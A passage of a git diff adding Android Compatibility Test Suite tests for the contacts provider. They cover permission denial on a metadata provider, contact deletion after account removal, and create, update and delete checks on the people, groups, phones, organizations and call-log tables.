+            getContext().getContentResolver().insert(CONTENT_URI, new ContentValues());
+            fail();
+        } catch (SecurityException e) {
+            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
+        }
+        try {
+            getContext().getContentResolver().update(CONTENT_URI, new ContentValues(), null, null);
+            fail();
+        } catch (SecurityException e) {
+            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
+        }
+        try {
+            getContext().getContentResolver().delete(CONTENT_URI, null, null);
+            fail();
+        } catch (SecurityException e) {
+            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
new file mode 100755
index 0000000..ced09d6
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -0,0 +1,253 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import static android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.content.ContentResolver;
+import android.os.SystemClock;
+import android.provider.cts.contacts.CommonDatabaseUtils;
+import android.provider.cts.contacts.ContactUtil;
+import android.provider.cts.contacts.DataUtil;
+import android.provider.cts.contacts.DatabaseAsserts;
+import android.provider.cts.contacts.DeletedContactUtil;
+import android.provider.cts.contacts.RawContactUtil;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+
+import com.google.android.collect.Lists;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+
+@MediumTest
+public class ContactsProvider2_AccountRemovalTest extends AndroidTestCase {
+
+    private static long ASYNC_TIMEOUT_LIMIT_MS = 1000 * 60 * 1; // 3 minutes
+    private static long SLEEP_BETWEEN_POLL_MS = 1000 * 10; // 10 seconds
+
+    private static int NOT_MERGED = -1;
+
+    // Not re-using StaticAcountAuthenticator.ACCOUNT_1 because this test may break
+    // other tests running when the account is removed.  No other tests should use the following
+    // accounts.
+    private static final Account ACCT_1 = new Account("cp removal acct 1",
+            StaticAccountAuthenticator.TYPE);
+    private static final Account ACCT_2 = new Account("cp removal acct 2",
+            StaticAccountAuthenticator.TYPE);
+
+    private ContentResolver mResolver;
+    private AccountManager mAccountManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        mAccountManager = AccountManager.get(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    public void testAccountRemoval_deletesContacts() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        mAccountManager.addAccountExplicitly(ACCT_2, null, null);
+        ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+        ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
+
+        mAccountManager.removeAccount(ACCT_2, null, null);
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc2Ids);
+
+        mAccountManager.removeAccount(ACCT_1, null, null);
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+    }
+
+    public void testAccountRemoval_hasDeleteLogsForContacts() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        mAccountManager.addAccountExplicitly(ACCT_2, null, null);
+        ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+        ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
+
+        long start = System.currentTimeMillis();
+        mAccountManager.removeAccount(ACCT_2, null, null);
+        assertContactsInDeleteLogEventually(start, acc2Ids);
+
+        start = System.currentTimeMillis();
+        mAccountManager.removeAccount(ACCT_1, null, null);
+        assertContactsInDeleteLogEventually(start, acc1Ids);
+    }
+
+    /**
+     * Contact has merged raw contacts from a single account.  Contact should be deleted upon
+     * account removal.
+     */
+    public void testAccountRemovalWithMergedContact_deletesContacts() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        ArrayList<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
+        mAccountManager.removeAccount(ACCT_1, null, null);
+        assertContactsDeletedEventually(System.currentTimeMillis(), idList);
+    }
+
+    /**
+     * Contact has merged raw contacts from different accounts. Contact should not be deleted when
+     * one account is removed.  But contact should have last updated timestamp updated.
+     */
+    public void testAccountRemovalWithMergedContact_doesNotDeleteContactAndTimestampUpdated() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        mAccountManager.addAccountExplicitly(ACCT_2, null, null);
+        ArrayList<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_2);
+        long contactId = idList.get(0).mContactId;
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
+        long start = System.currentTimeMillis();
+        mAccountManager.removeAccount(ACCT_1, null, null);
+
+        while (ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId) == baseTime) {
+            assertWithinTimeoutLimit(start,
+                    "Contact " + contactId + " last updated timestamp has not been updated.");
+            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+        }
+        mAccountManager.removeAccount(ACCT_2, null, null);
+    }
+
+    public void testAccountRemovalWithMergedContact_hasDeleteLogsForContacts() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        ArrayList<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
+        long start = System.currentTimeMillis();
+        mAccountManager.removeAccount(ACCT_1, null, null);
+        assertContactsInDeleteLogEventually(start, idList);
+    }
+
+    private ArrayList<ContactIdPair> createAndAssertMergedContact(Account acct, Account acct2) {
+        ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct,
+                "merge me");
+        DataUtil.insertPhoneNumber(mResolver, ids1.mRawContactId, "555-5555");
+
+        ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct2,
+                "merge me");
+        DataUtil.insertPhoneNumber(mResolver, ids2.mRawContactId, "555-5555");
+
+        // Check merge before continuing. Merge process is async.
+        long mergedContactId = assertMerged(System.currentTimeMillis(), ids1.mRawContactId,
+                ids2.mRawContactId);
+
+        // Update the contact id to the newly merged contact id.
+        ids1.mContactId = mergedContactId;
+        ids2.mContactId = mergedContactId;
+
+        return Lists.newArrayList(ids1, ids2);
+    }
+
+    private long assertMerged(long start, long rawContactId, long rawContactId2) {
+        long contactId = NOT_MERGED;
+        while (contactId == NOT_MERGED) {
+            assertWithinTimeoutLimit(start,
+                    "Raw contact " + rawContactId + " and " + rawContactId2 + " are not merged.");
+
+            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+            contactId = checkMerged(rawContactId, rawContactId2);
+        }
+        return contactId;
+    }
+
+    private long checkMerged(long rawContactId, long rawContactId2) {
+        long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
+        long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId2);
+        if (contactId == contactId2) {
+            return contactId;
+        }
+        return NOT_MERGED;
+    }
+
+    private void assertContactsInDeleteLogEventually(long start, ArrayList<ContactIdPair> idList) {
+        // Can not use newArrayList() because the version that accepts size is missing.
+        ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
+        remaining.addAll(idList);
+        while (!remaining.isEmpty()) {
+            // Account cleanup is asynchronous, wait a bit before checking.
+            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+            assertWithinTimeoutLimit(start, "Contacts " + Arrays.toString(remaining.toArray()) +
+                    " are not in delete log after account removal.");
+
+            // Need a second list to remove since we can't remove from the list while iterating.
+            ArrayList<ContactIdPair> toBeRemoved = Lists.newArrayList();
+            for (ContactIdPair ids : remaining) {
+                long deletedTime = DeletedContactUtil.queryDeletedTimestampForContactId(mResolver,
+                        ids.mContactId);
+                if (deletedTime != CommonDatabaseUtils.NOT_FOUND) {
+                    toBeRemoved.add(ids);
+                    assertTrue("Deleted contact was found in delete log but insert time is before"
+                            + " start time", deletedTime > start);
+                }
+            }
+            remaining.removeAll(toBeRemoved);
+        }
+
+        // All contacts in delete log.  Pass.
+    }
+
+    /**
+     * Polls every so often to see if all contacts have been deleted.  If not deleted in the
+     * pre-defined threshold, fails.
+     */
+    private void assertContactsDeletedEventually(long start, ArrayList<ContactIdPair> idList) {
+        // Can not use newArrayList() because the version that accepts size is missing.
+        ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
+        remaining.addAll(idList);
+        while (!remaining.isEmpty()) {
+            // Account cleanup is asynchronous, wait a bit before checking.
+            SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
+            assertWithinTimeoutLimit(start, "Contacts have not been deleted after account"
+                    + " removal.");
+
+            ArrayList<ContactIdPair> toBeRemoved = Lists.newArrayList();
+            for (ContactIdPair ids : remaining) {
+                if (!RawContactUtil.rawContactExistsById(mResolver, ids.mRawContactId)) {
+                    toBeRemoved.add(ids);
+                }
+            }
+            remaining.removeAll(toBeRemoved);
+        }
+
+        // All contacts deleted.  Pass.
+    }
+
+    private void assertWithinTimeoutLimit(long start, String message) {
+        long now = System.currentTimeMillis();
+        long elapsed = now - start;
+        if (elapsed > ASYNC_TIMEOUT_LIMIT_MS) {
+            fail(elapsed + "ms has elapsed. The limit is " + ASYNC_TIMEOUT_LIMIT_MS + "ms. " +
+                    message);
+        }
+    }
+
+    /**
+     * Creates a given number of contacts for an account.
+     */
+    private ArrayList<ContactIdPair> createContacts(Account account, int numContacts) {
+        ArrayList<ContactIdPair> accountIds = Lists.newArrayList();
+        for (int i = 0; i < numContacts; i++) {
+            accountIds.add(DatabaseAsserts.assertAndCreateContact(mResolver, account));
+        }
+        return accountIds;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java
new file mode 100644
index 0000000..8735c5a
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java
@@ -0,0 +1,911 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.drawable.BitmapDrawable;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.CallLog;
+import android.provider.CallLog.Calls;
+import android.provider.Contacts;
+import android.provider.Contacts.ContactMethods;
+import android.provider.Contacts.Extensions;
+import android.provider.Contacts.GroupMembership;
+import android.provider.Contacts.Groups;
+import android.provider.Contacts.GroupsColumns;
+import android.provider.Contacts.Organizations;
+import android.provider.Contacts.People;
+import android.provider.Contacts.PeopleColumns;
+import android.provider.Contacts.Phones;
+import android.provider.Contacts.Photos;
+import android.provider.Contacts.Settings;
+import android.provider.ContactsContract;
+import android.telephony.PhoneNumberUtils;
+import android.test.InstrumentationTestCase;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Date;
+
+public class ContactsTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+    private ContentProviderClient mCallLogProvider;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mCallLogProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's people table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testPeopleTable() {
+        final String[] PEOPLE_PROJECTION = new String[] {
+                People._ID,
+                People.NAME, People.NOTES, People.TIMES_CONTACTED,
+                People.LAST_TIME_CONTACTED, People.STARRED,
+                People.CUSTOM_RINGTONE, People.SEND_TO_VOICEMAIL,};
+        final int ID_INDEX = 0;
+        final int NAME_INDEX = 1;
+        final int NOTES_INDEX = 2;
+        final int TIMES_CONTACTED_INDEX = 3;
+        final int LAST_TIME_CONTACTED_INDEX = 4;
+        final int STARRED_INDEX = 5;
+        final int CUSTOM_RINGTONE_INDEX = 6;
+        final int SEND_TO_VOICEMAIL_INDEX = 7;
+
+        String insertPeopleName = "name_insert";
+        String insertPeopleNotes = "notes_insert";
+        String updatePeopleName = "name_update";
+        String updatePeopleNotes = "notes_update";
+
+        try {
+            mProvider.delete(People.CONTENT_URI, PeopleColumns.NAME + " = ?",
+                    new String[] {insertPeopleName});
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, insertPeopleName);
+            value.put(PeopleColumns.NOTES, insertPeopleNotes);
+            value.put(PeopleColumns.LAST_TIME_CONTACTED, 0);
+            value.put(PeopleColumns.CUSTOM_RINGTONE, (String) null);
+            value.put(PeopleColumns.SEND_TO_VOICEMAIL, 1);
+
+            Uri uri = mProvider.insert(People.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(People.CONTENT_URI,
+                    PEOPLE_PROJECTION, PeopleColumns.NAME + " = ?",
+                    new String[] {insertPeopleName}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertPeopleName, cursor.getString(NAME_INDEX));
+            assertEquals(insertPeopleNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
+            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
+            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
+            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
+            assertEquals(0, cursor.getInt(STARRED_INDEX));
+            // TODO: Figure out what can be tested for the SYNC_* columns
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            long now = new Date().getTime();
+            value.put(PeopleColumns.NAME, updatePeopleName);
+            value.put(PeopleColumns.NOTES, updatePeopleNotes);
+            value.put(PeopleColumns.LAST_TIME_CONTACTED, (int) now);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+                    "people._id" + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updatePeopleName, cursor.getString(NAME_INDEX));
+            assertEquals(updatePeopleNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX)); // Not supported by CP1
+            assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
+            assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX)); // Not supported by CP1
+            assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
+            assertEquals(0, cursor.getInt(STARRED_INDEX));
+            // TODO: Figure out what can be tested for the SYNC_* columns
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+                    "people._id" + " = " + id, null, null, null);
+            assertEquals(0, cursor.getCount());
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's groups table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testGroupsTable() {
+        final String[] GROUPS_PROJECTION = new String[] {
+                Groups._ID, Groups.NAME, Groups.NOTES,
+                Groups.SYSTEM_ID};
+        final int ID_INDEX = 0;
+        final int NAME_INDEX = 1;
+        final int NOTES_INDEX = 2;
+        final int SYSTEM_ID_INDEX = 3;
+
+        String insertGroupsName = "name_insert";
+        String insertGroupsNotes = "notes_insert";
+        String updateGroupsNotes = "notes_update";
+        String updateGroupsSystemId = "system_id_update";
+
+        try {
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(GroupsColumns.NAME, insertGroupsName);
+            value.put(GroupsColumns.NOTES, insertGroupsNotes);
+            value.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
+
+            Uri uri = mProvider.insert(Groups.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(Groups.CONTENT_URI,
+                    GROUPS_PROJECTION, Groups._ID + " = ?",
+                    new String[] {uri.getPathSegments().get(1)}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertGroupsName, cursor.getString(NAME_INDEX));
+            assertEquals(insertGroupsNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(Groups.GROUP_MY_CONTACTS, cursor.getString(SYSTEM_ID_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(GroupsColumns.NOTES, updateGroupsNotes);
+            value.put(GroupsColumns.SYSTEM_ID, updateGroupsSystemId);
+
+            assertEquals(1, mProvider.update(uri, value, null, null));
+            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                    Groups._ID + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateGroupsNotes, cursor.getString(NOTES_INDEX));
+            assertEquals(updateGroupsSystemId, cursor.getString(SYSTEM_ID_INDEX));
+            cursor.close();
+
+            // Test: delete
+            assertEquals(1, mProvider.delete(uri, null, null));
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's photos table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testPhotosTable() {
+        final String[] PHOTOS_PROJECTION = new String[] {
+                Photos._ID, Photos.EXISTS_ON_SERVER, Photos.PERSON_ID,
+                Photos.LOCAL_VERSION, Photos.DATA,
+                Photos.SYNC_ERROR};
+        final int ID_INDEX = 0;
+        final int EXISTS_ON_SERVER_INDEX = 1;
+        final int PERSON_ID_INDEX = 2;
+        final int LOCAL_VERSION_INDEX = 3;
+        final int DATA_INDEX = 4;
+        final int SYNC_ERROR_INDEX = 5;
+
+        String updatePhotosLocalVersion = "local_version1";
+
+        try {
+            Context context = getInstrumentation().getTargetContext();
+            InputStream inputStream = context.getResources().openRawResource(
+                    android.provider.cts.R.drawable.testimage);
+            int size = inputStream.available();
+            byte[] data =  new byte[size];
+            inputStream.read(data);
+            BitmapDrawable sourceDrawable = (BitmapDrawable) context.getResources().getDrawable(
+                    android.provider.cts.R.drawable.testimage);
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(Photos.PERSON_ID, 1);
+            value.put(Photos.LOCAL_VERSION, "local_version0");
+            value.put(Photos.DATA, data);
+            try {
+                mProvider.insert(Photos.CONTENT_URI, value);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support direct insert operation to photos URI.
+            }
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        } catch (IOException e) {
+            fail("Unexpected IOException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's phones table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testPhonesTable() {
+        final String[] PHONES_PROJECTION = new String[] {
+                Phones._ID, Phones.PERSON_ID, Phones.TYPE, Phones.NUMBER,
+                Phones.NUMBER_KEY, Phones.LABEL, Phones.ISPRIMARY};
+        final int ID_INDEX = 0;
+        final int PERSON_ID_INDEX = 1;
+        final int TYPE_INDEX = 2;
+        final int NUMBER_INDEX = 3;
+        final int NUMBER_KEY_INDEX = 4;
+        final int LABEL_INDEX = 5;
+        final int ISPRIMARY_INDEX = 6;
+
+        String insertPhonesNumber = "0123456789";
+        String updatePhonesNumber = "987*654yu3211+";
+        String customeLabel = "custom_label";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_phones_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(Phones.PERSON_ID, peopleId);
+            value.put(Phones.TYPE, Phones.TYPE_HOME);
+            value.put(Phones.NUMBER, insertPhonesNumber);
+            value.put(Phones.ISPRIMARY, 1);
+
+            Uri uri = mProvider.insert(Phones.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(Phones.CONTENT_URI,
+                    PHONES_PROJECTION, Phones.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(Phones.TYPE_HOME, cursor.getInt(TYPE_INDEX));
+            assertEquals(insertPhonesNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(PhoneNumberUtils.getStrippedReversed(insertPhonesNumber),
+                    cursor.getString(NUMBER_KEY_INDEX));
+            assertNull(cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(Phones.TYPE, Phones.TYPE_CUSTOM);
+            value.put(Phones.NUMBER, updatePhonesNumber);
+            value.put(Phones.LABEL, customeLabel);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
+                    "phones._id = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+            assertEquals(updatePhonesNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(PhoneNumberUtils.getStrippedReversed(updatePhonesNumber),
+                    cursor.getString(NUMBER_KEY_INDEX));
+            assertEquals(customeLabel, cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
+                    Phones.PERSON_ID + " = " + peopleId, null, null, null);
+            assertEquals(0, cursor.getCount());
+
+            mProvider.delete(peopleUri, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's organizations table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testOrganizationsTable() {
+        final String[] ORGANIZATIONS_PROJECTION = new String[] {
+                Organizations._ID, Organizations.COMPANY, Organizations.TITLE,
+                Organizations.ISPRIMARY, Organizations.TYPE, Organizations.LABEL,
+                Organizations.PERSON_ID};
+        final int ID_INDEX = 0;
+        final int COMPANY_INDEX = 1;
+        final int TITLE_INDEX = 2;
+        final int ISPRIMARY_INDEX = 3;
+        final int TYPE_INDEX = 4;
+        final int LABEL_INDEX = 5;
+        final int PERSON_ID_INDEX = 6;
+
+        String insertOrganizationsCompany = "company_insert";
+        String insertOrganizationsTitle = "title_insert";
+        String updateOrganizationsCompany = "company_update";
+        String updateOrganizationsTitle = "title_update";
+        String customOrganizationsLabel = "custom_label";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_organizations_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(Organizations.COMPANY, insertOrganizationsCompany);
+            value.put(Organizations.TITLE, insertOrganizationsTitle);
+            value.put(Organizations.TYPE, Organizations.TYPE_WORK);
+            value.put(Organizations.PERSON_ID, peopleId);
+            value.put(Organizations.ISPRIMARY, 1);
+
+            Uri uri = mProvider.insert(Organizations.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+                    Organizations.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertOrganizationsCompany, cursor.getString(COMPANY_INDEX));
+            assertEquals(insertOrganizationsTitle, cursor.getString(TITLE_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            assertEquals(Organizations.TYPE_WORK, cursor.getInt(TYPE_INDEX));
+            assertNull(cursor.getString(LABEL_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(Organizations.COMPANY, updateOrganizationsCompany);
+            value.put(Organizations.TITLE, updateOrganizationsTitle);
+            value.put(Organizations.TYPE, Organizations.TYPE_CUSTOM);
+            value.put(Organizations.LABEL, customOrganizationsLabel);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+                    "organizations._id" + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateOrganizationsCompany, cursor.getString(COMPANY_INDEX));
+            assertEquals(updateOrganizationsTitle, cursor.getString(TITLE_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            assertEquals(Organizations.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+            assertEquals(customOrganizationsLabel, cursor.getString(LABEL_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
+                    Organizations.PERSON_ID + " = " + peopleId, null, null, null);
+            assertEquals(0, cursor.getCount());
+
+            mProvider.delete(peopleUri, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's calls table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testCallsTable() {
+        final String[] CALLS_PROJECTION = new String[] {
+                Calls._ID, Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE,
+                Calls.NEW, Calls.CACHED_NAME, Calls.CACHED_NUMBER_TYPE,
+                Calls.CACHED_NUMBER_LABEL, Calls.CACHED_FORMATTED_NUMBER,
+                Calls.CACHED_MATCHED_NUMBER, Calls.CACHED_NORMALIZED_NUMBER,
+                Calls.CACHED_LOOKUP_URI, Calls.CACHED_PHOTO_ID, Calls.COUNTRY_ISO,
+                Calls.GEOCODED_LOCATION, Calls.CACHED_PHOTO_URI, Calls.LAST_MODIFIED};
+        final int ID_INDEX = 0;
+        final int NUMBER_INDEX = 1;
+        final int DATE_INDEX = 2;
+        final int DURATION_INDEX = 3;
+        final int TYPE_INDEX = 4;
+        final int NEW_INDEX = 5;
+        final int CACHED_NAME_INDEX = 6;
+        final int CACHED_NUMBER_TYPE_INDEX = 7;
+        final int CACHED_NUMBER_LABEL_INDEX = 8;
+        final int CACHED_FORMATTED_NUMBER_INDEX = 9;
+        final int CACHED_MATCHED_NUMBER_INDEX = 10;
+        final int CACHED_NORMALIZED_NUMBER_INDEX = 11;
+        final int CACHED_LOOKUP_URI_INDEX = 12;
+        final int CACHED_PHOTO_ID_INDEX = 13;
+        final int COUNTRY_ISO_INDEX = 14;
+        final int GEOCODED_LOCATION_INDEX = 15;
+        final int CACHED_PHOTO_URI_INDEX = 16;
+        final int LAST_MODIFIED_INDEX = 17;
+
+        String insertCallsNumber = "0123456789";
+        int insertCallsDuration = 120;
+        String insertCallsName = "cached_name_insert";
+        String insertCallsNumberLabel = "cached_label_insert";
+
+        String updateCallsNumber = "987654321";
+        int updateCallsDuration = 310;
+        String updateCallsName = "cached_name_update";
+        String updateCallsNumberLabel = "cached_label_update";
+        String updateCachedFormattedNumber = "987-654-4321";
+        String updateCachedMatchedNumber = "987-654-4321";
+        String updateCachedNormalizedNumber = "+1987654321";
+        String updateCachedLookupUri = "cached_lookup_uri_update";
+        long updateCachedPhotoId = 100;
+        String updateCachedPhotoUri = "content://com.android.contacts/display_photo/1";
+        String updateCountryIso = "hk";
+        String updateGeocodedLocation = "Hong Kong";
+
+        try {
+            // Test: insert
+            int insertDate = (int) new Date().getTime();
+            ContentValues value = new ContentValues();
+            value.put(Calls.NUMBER, insertCallsNumber);
+            value.put(Calls.DATE, insertDate);
+            value.put(Calls.DURATION, insertCallsDuration);
+            value.put(Calls.TYPE, Calls.INCOMING_TYPE);
+            value.put(Calls.NEW, 0);
+            value.put(Calls.CACHED_NAME, insertCallsName);
+            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_HOME);
+            value.put(Calls.CACHED_NUMBER_LABEL, insertCallsNumberLabel);
+
+            Uri uri = mCallLogProvider.insert(Calls.CONTENT_URI, value);
+            Cursor cursor = mCallLogProvider.query(
+                    Calls.CONTENT_URI, CALLS_PROJECTION,
+                    Calls.NUMBER + " = ?",
